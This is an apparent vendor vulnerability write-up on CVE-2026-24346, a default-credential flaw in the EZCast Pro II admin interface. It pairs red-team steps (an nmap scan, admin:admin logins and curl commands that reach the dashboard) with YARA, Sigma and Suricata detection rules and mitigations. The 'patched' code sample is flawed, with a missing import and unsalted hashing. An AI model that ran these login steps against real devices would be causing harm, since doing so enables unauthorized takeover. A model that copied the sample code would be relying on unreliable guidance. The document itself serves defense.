CVE-2026-24346
Executive Summary
CVE-2026-24346 exposes a critical security flaw in the EZCast Pro II device, specifically version 1.17478.146. The vulnerability is the use of well-known default credentials in the Admin UI, allowing any unauthenticated attacker with network access to gain administrative control over the device. This is a classic case of hardcoded or default credentials (CWE-798) that have not been changed by the user or the vendor. The impact is severe: an attacker can access protected areas of the web application, potentially leading to full device compromise, data exfiltration, or use of the device as a pivot point within the network.
The EPSS score of 0.0% suggests low exploitation likelihood in the wild at this time, but the simplicity of the attack and the public nature of the default credentials make this a high-priority issue for asset owners. No official patch or advisory has been released by EZCast, leaving users in a vulnerable state.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby) but rather to a hardware device's embedded web application. The supply chain risk is limited to the device itself and its firmware distribution.
CVSS Breakdown & Threat Level
CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex steps are required.
- Privileges Required (PR): None – The attacker does not need any prior authentication.
- User Interaction (UI): None – No user action is required for exploitation.
- Scope (S): Unchanged – The exploit affects only the vulnerable component.
- Confidentiality (C): High – Full access to device data and configuration.
- Integrity (I): High – Ability to modify device settings and firmware.
- Availability (A): High – Potential to disrupt device operation.
Threat Level: Critical. The combination of network accessibility, low complexity, and no required privileges makes this a trivial attack for any threat actor.
Deep Dive & Mechanics
The EZCast Pro II is a wireless display receiver/sender device used in conference rooms and educational settings. Its Admin UI is a web-based interface for configuration. The vulnerability stems from the use of well-known default credentials (e.g., admin:admin or admin:password) that are not changed during initial setup.
Attack Flow:
- Discovery: An attacker scans the network for devices with open HTTP/HTTPS ports (typically 80/443) and identifies the EZCast Pro II login page.
- Authentication Bypass: The attacker attempts to log in using common default credential pairs (e.g.,
admin:admin,admin:password,root:root). - Access Granted: Upon successful authentication, the attacker gains full administrative access to the web application.
- Post-Exploitation: The attacker can modify network settings, exfiltrate data, install malicious firmware, or use the device as a pivot for lateral movement.
The root cause is the absence of a forced password change policy during initial device setup. The vendor has not provided a patch or workaround.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable state to a hypothetical secure implementation.
Vulnerable Code (Conceptual):
# Example of hardcoded credentials in the web application
DEFAULT_USERNAME = "admin"
DEFAULT_PASSWORD = "admin"
def login(username, password):
if username == DEFAULT_USERNAME and password == DEFAULT_PASSWORD:
return True
# No check for password change
return False
Patched Code (Hypothetical):
# Example of secure implementation with forced password change
import hashlib, os
def initialize_device():
# Force user to set a unique password on first login
if not os.path.exists("/etc/ezcast/password_set"):
print("Please set a new admin password.")
new_password = getpass.getpass()
hashed_password = hashlib.sha256(new_password.encode()).hexdigest()
with open("/etc/ezcast/password_set", "w") as f:
f.write(hashed_password)
print("Password set successfully.")
else:
print("Device already initialized.")
def login(username, password):
with open("/etc/ezcast/password_set", "r") as f:
stored_hash = f.read().strip()
if hashlib.sha256(password.encode()).hexdigest() == stored_hash:
return True
return False
Exploitation & Lab Setup
Red Team
Prerequisites:
- EZCast Pro II device on the same network (or accessible via the internet if exposed).
- A web browser or HTTP client (e.g.,
curl).
Exploitation Steps:
- Identify the target: Use
nmapto scan for the device.nmap -p 80,443 --open 192.168.1.0/24 - Access the Admin UI: Open a browser and navigate to
http://<target-ip>. - Login with default credentials: Enter
adminfor both username and password. - Confirm access: The dashboard should load, indicating successful exploitation.
Automated Exploit (using curl):
curl -X POST http://<target-ip>/login -d "username=admin&password=admin" -c cookies.txt
curl -b cookies.txt http://<target-ip>/admin/dashboard
Blue Team
Detection and Response:
- Network Monitoring: Look for repeated login attempts to the device's web interface, especially with common default credentials.
- Log Analysis: Check device logs for successful logins from unexpected IP addresses.
- Honeypot: Deploy a fake EZCast Pro II interface to detect scanning and exploitation attempts.
Mitigation Steps:
- Immediately change the default credentials on all EZCast Pro II devices.
- Restrict network access to the Admin UI using firewall rules (allow only trusted IPs).
- Monitor for unauthorized access and consider isolating the device on a separate VLAN.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/loginwith parametersusername=admin&password=admin. - Successful HTTP 200 responses from
/admin/dashboardafter login. - Unusual outbound connections from the device (e.g., to command-and-control servers).
Host IOCs:
- Presence of new admin users or modified settings in the device configuration.
- Unauthorized firmware updates or changes to system files.
File IOCs:
- No specific file-based IOCs due to the nature of the vulnerability.
Detection Engineering
YARA Rule
rule EZCast_Default_Credentials_Login {
meta:
description = "Detects HTTP POST requests with default credentials to EZCast Pro II Admin UI"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-24346"
strings:
$login_path = "/login"
$default_creds = "username=admin&password=admin"
condition:
$login_path and $default_creds
}
Sigma Rule
title: EZCast Pro II Default Credentials Login Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to log in to EZCast Pro II Admin UI using default credentials
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/login'
cs-uri-query|contains: 'username=admin&password=admin'
condition: selection
falsepositives:
- Legitimate admin testing
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-24346 EZCast Pro II Default Credentials Login Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/login"; http_uri; content:"username=admin&password=admin"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Change Default Credentials: Log into the Admin UI and change the password immediately. Use a strong, unique password.
- Network Segmentation: Place the EZCast Pro II device on a separate VLAN with strict firewall rules to limit access to the Admin UI.
- Disable Remote Access: If not required, disable remote access to the Admin UI from the internet.
Long-Term Recommendations:
- Vendor Patch: Monitor EZCast's official website for a firmware update that enforces a password change on first login.
- Device Replacement: If no patch is forthcoming, consider replacing the device with a more secure alternative.
- Continuous Monitoring: Implement network monitoring to detect any exploitation attempts.
Workaround:
- Use a reverse proxy with authentication (e.g., Nginx with basic auth) in front of the device's web interface to add an additional layer of security.
Valters IT